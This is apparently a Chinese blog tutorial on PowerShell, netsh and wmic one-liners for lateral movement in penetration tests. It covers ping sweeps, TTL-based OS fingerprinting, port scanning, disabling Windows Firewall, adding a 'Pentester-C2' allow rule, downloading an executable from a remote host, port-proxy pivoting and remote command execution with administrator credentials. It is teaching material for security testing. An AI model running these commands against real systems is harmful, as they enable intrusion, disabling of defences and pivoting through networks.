PowerShell简单使用

总结一些PowerShell的简单操作

ping扫描


在横向pentest的时候,在nmap之类的工具使用不了,而PowerShell作为Windows的固有组件,用起来更加高效,而且能更加隐蔽的运行。

ping扫描

1
1..255 | % {echo "192.10.22.$_"; ping -n 1 -w 100 192.10.22.$_} | Select-String ttl

demo:

此命令按顺序ping循环中的每个IP地址。并且过滤掉没有响应的IP,使用Select-String查找并只显示包含文本“TTL”的行。

命令分解

1
2
3
4
5
6
7
8
9
1.255 - 产生从1到255的数字列表
| - 将每个数字作为对象传递到循环中
% - PowerShell中的%运算符是foreach对象的别名,用于启动循环。依次循环执行{}之间的内容
echo "192.10.22.$_"; - 打印出IP地址。$_是一个意味着当前对象的变量。当前对象与循环当前所在的数字(1..255)相关。
ping - 两个节点之间的ICMP连接的Packet Internet groper实用程序测试。
-n 1 - 发送手动设置的次数在1之后停止
-w 100 - 超时前等待的毫秒数。这可能需要根据目标环境的延迟进行调整
192.10.22.$_ - 要ping的IP地址
| Select-String ttl - 将循环中的所有输出管道输入到Select-String中。过滤所有没有ttl的行。

command metrics

1
Measure-Command {}

demo:

通过演示并行执行,ping扫描能够枚举网络增加的速率。虽然限于4个并行线程,我们实现了比单线程快62%的结果。产生额外的线程可能会增加枚举速度甚至更高。

整段扫描

1
workflow ParallelSweep { foreach -parallel -throttlelimit 4 ($i in 1..255) {ping -n 1 -w 100 192.10.22.$i}}; ParallelSweep | Select-String ttl

demo:

命令分解

1
2
3
4
5
6
7
8
workflow ParallelSweep {} - 声明一个名为Parallel-Sweep的工作流程
foreach - 开始循环
-parallel - 并行执行循环
-throttlelimit 4 - 将并发线程数限制为4
($i in 1..255) - 运行循环1到255次
ping -n 1 -w 100 192.10.22.$i - Ping IP地址
ParallelSweep - 调用工作流ParallelSweep
| Select-String ttl - 过滤Parallel-Sweep的输出。只打印有包含“ttl”的行

系统类型检测

1
1..255 | % { $b = $_; ping -n 1 -w 10 "192.10.22.$b" | select-string TTL | % { if ($_ -match "ms") { $ttl = $_.line.split('=')[2] -as [int]; if ($ttl -lt 65) { $os = "Linux" } ElseIf ($ttl -gt 64 -And $ttl -lt 129) { $os = "Windows" } else { $os = "Cisco"}; write-host "192.10.22.$b OS: $os"; echo "192.10.22.$b" >> scan_results.txt }}}

使用一个多子网扫描器来构建一个可访问主机的报告,甚至可以通过评估TTL值来辅助攻击目标,来辨识非常基本的操作系统指纹。
demo:

存在误判的可能

小结

这些简单的脚本有很多方法来扩展,只有这样,才能在开创网络之后才能收集更多所需要的有关网络信息。这些技术在一定场景中对目标识别的过程中特别有用。

添加防火墙规则

平时在本地搭建的环境和培训环境当中,防火墙都是被禁用的,这样可以促进学习体验。然而,作为pentest的一部分,绕过和操纵防火墙正是一天的工作内容。Windows防火墙是当今遇到的最常见的数据包过滤障碍。虽然它不一定是最强大的解决方案,但是在不直接访问GUI的情况下操作可能是最棘手的。幸运的是,PowerShell支持一套强大的集成功能,可以利用它。

禁用/启用Windows防火墙

1
2
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True

添加允许特定IP地址连接

1
New-NetFirewallRule -Action Allow -DisplayName Pentester-C2 -RemoteAddress 192.168.1.100

命令分解

1
2
3
4
New-NetFirewallRule - 用于创建新的防火墙规则的PowerShell cmdlet
-Action - 禁止或允许。默认是允许
-DisplayName Pentester-C2 - 在GUI中或通过命令行查看规则的名称
-RemoteAddress 192.168.1.100 - 允许入站连接的地址

允许特定端口的连接

1
new-netfirewallrule -action allow -localport 80 -direction inbound -protocol tcp -displayname pentester-c2

命令分解

1
2
3
-localport 80 - 应用规则的本地端口
-direction inbound - 将规则应用到的方向。这是入站或出站
-protocol tcp - 指定TCP / UDP端口时,用户还必须指定应用规则的两个协议中的哪一个。该值也可以是协议号0-255或另一个协议名称(例如:ICMPv4)。

端口扫描


在平时的pentest中,nmap是端口扫描的最佳选择,但有时候可能不是一个最佳的选择。来看一下使用PowerShell进行基本端口扫描功能的方法。
要在一行中创建PowerShell端口扫描器,我们需要组合三个不同的组件。创建一系列对象,循环遍历每个对象,并将每个对象的信息输出到屏幕。

端口扫描

1
1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.10.22.5",$_)) "Port $_ is open!"} 2>$null

demo:

命令分解

1
2
3
4
5
6
7
8
1..1024 - 创建1..1024之间的变量范围
| - 管道操作员将对象传递到循环中
% - PowerShell中的%运算符是foreach对象的别名,用于启动循环。循环依次执行{}之间的内容
echo - 将以下输出打印到屏幕上
new-object Net.Sockets.TcpClient - Net.Sockets TcpClient类的一个实例,允许我们将socket连接到TCP端口
Connect(“192.10.22.5”,$_)) - 调用TcpClient类上的Connect函数,参数为192.10.22.5和port $_。$ _是一个意味着当前对象的变量。当前对象与循环当前所在的数字(1..1024)相关。
“Port $_ is open!”) - 打印Port#已打开!当程序找到一个打开的端口。
2> $ null - 这告诉PowerShell不显示遇到的任何错误

扫描单个端口的IP范围

1
foreach ($ip in 1..20) {Test-NetConnection -Port 445 -InformationLevel "Detailed" 192.10.22.$ip}

demo:

命令分解

1
2
3
4
5
foreach($ ip in 1..20){} - 循环数字1到20
Test-NetConnection - Test-NetConnection是一种用于测试不同类型网络连接的实用程序。
-Port 445 - 检查445端口的可用性
-InformationLevel "Detailed" - 提供详细的输出信息
192.10.22.$ip - 尝试根据列出的IP地址连接到端口445。在这个例子中,$ip变量从1-20循环。

构建扫描仪遍历系统和端口也是可行的

自定义IP范围和端口范围

1
1..20 | % { $a = $_; 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.10.22.$a",$_)) "Port $_ is open!"} 2>$null}

demo:

此版本的命令将扫描的IP地址192.10.22.1-20和ports 1-1024。请注意,可能需要一段时间才能完成。更有效的替代方法可能是指定要手动查找的端口。喜欢这个:

1
1..20 | % { $a = $_; write-host "------"; write-host "192.10.22.$a"; 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.10.22.$a",$_)) "Port $_ is open!"} 2>$null}

参数可自行更改:

测试出口过滤

1
1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("allports.exposed",$_)) "Port $_ is open!" } 2>$null

获取防火墙规则

获取防火墙规则

1
Get-NetFirewallRule -all

获取防火墙的名称列表

1
Get-NetFirewallRule -all | Format-List -Property Name

demo:

获取防火墙的视图界面

1
Get-NetFirewallRule -all | Out-GridView

demo:

在线web客户端(wget)

在window下缺少文件的传输工具,将文件移动到Windows环境中是一项比较困难的任务,
没有netcat,wget,curl,ssh或者python,而在linux下相对来说要简单得多。

但是在PowerShell中,我们上面所有的功能都可以获得,甚至包括wget。,下面来看看。

WebClient

1
(New-Object System.Net.WebClient).DownloadFile("http://10.0.0.10/demo.exe","demo.exe")

上述命令在Powershell的所有版本中都是可用的,所以不知道Powershell版本的情况下,是最佳选择。

命令分解

1
2
(New-Object System.Net.WebClient) - 创建WebClient类的实例。WebClient对象具有像GUI Web客户端一样执行所需的所有功能。
DownloadFile(“ - 在WebClient类中调用DownloadFile方法,此方法允许WebClient从远程服务器下载某些东西

Invoke-WebRequest

类似于linux版本下的wget。
在帮助信息上,都很详细的有使用方法。

1
wget "http://10.0.0.10/demo1.exe" -outfile "demo1.exe"

显示PowerShell的版本

1
2
3
Get-Host
$PSVersionTable.PSVersion

netsh interfac

在linux上进行端口转发是很容易的。但是在window下的话,除了使用上传的工具,就只有使用本身自带的。
NetSH (Network Shell) 是windows系统本身提供的功能强大的网络配置命令行工具
Netsh接口Portproxy命令.
对于在 IPv4 和 IPv6 网络和应用程序之间充当代理的管理服务器

将配置了 IPv4 的计算机和应用程序消息发送到配置了 IPv6 的计算机和应用程序。

1
netsh interface portproxy add v4tov6 listenport=8888 listenaddress=0.0.0.0 connectport=80 connectaddress=2000::1:215:5dff:fe01:247

命令分解

1
2
3
4
5
6
7
netsh - 用于操纵网络接口的命令行工具
interface - 允许用户操作上下文的(TCP/ IPv4/6)
portproxy - 在IPv4和IPv6网络和应用程序之间建立代理
v4tov6 - 将接收的IPv4流量转换为IPv6
listenaddress -监听地址
connectport - 要连接的端
connectaddress - 连接地址

将配置了 IPv4 的计算机和应用程序消息发送到其他配置了 IPv4 的计算机和应用程序。

1
netsh interface portproxy add v4tov4 listenport=9999 listenaddress=0.0.0.0 connectport=445 connectaddress=172.16.1.101

如果想要证明是否正确执行,那就只需要用nmap进行探测即可。

ipconfig

window下的ipconfig命令提供了网络接口配置的详细信息
使用netsh进行实现、

1
netsh interface ipv4 show addresses

demo:

netsh还提供了像ipc$一样的远程管理功能,当然两者是不一样的。

1
netsh -r 192.10.22.10 -u entsim\administrator -p password

如果成功连接,就能得到一个交互式的shell。
更多的netsh命令参照netsh命令的用法
Netsh接口Portproxy命令

wmic process

WMIC扩展WMI(Windows Management Instrumentation,Windows管理工具) ,提供了从命令行接口和批命令脚本执行系统管理的支持。

获取正在运行的进程

1
wmic process list full

demo:

将结果输出

1
wmic /output:wmic.html process list full /format:hform

命令分解

1
2
/output:wmic.html - 将WMIC的输出打印到HTML文件
/format:hform - 选项包括表,列表,csv,xml,htable和hform。hform以HTML格式打印WMIC输出.

启动的程序

1
wmic startup list brief

远程命令执行

1
wmic /node:10.0.0.1 /user:Administrator process call create "cmd.exe /c calc.exe"

在横向pentest中,可以使用wmic来利用网络凭证来执行远程命令。
wmic命令类似于psexec。

参考:
Pen Test Poster: “White Board”–(翻译)
https://github.com/PowerShellMafia/PowerSploit
https://blogs.sans.org/pen-testing/files/2017/03/Board-Elements_fung-fu.pdf
https://www.sans.org/reading-room/whitepapers/access/identifying-vulnerable-network-protocols-powershell-37722

!坚持技术分享,您的支持将鼓励我继续创作!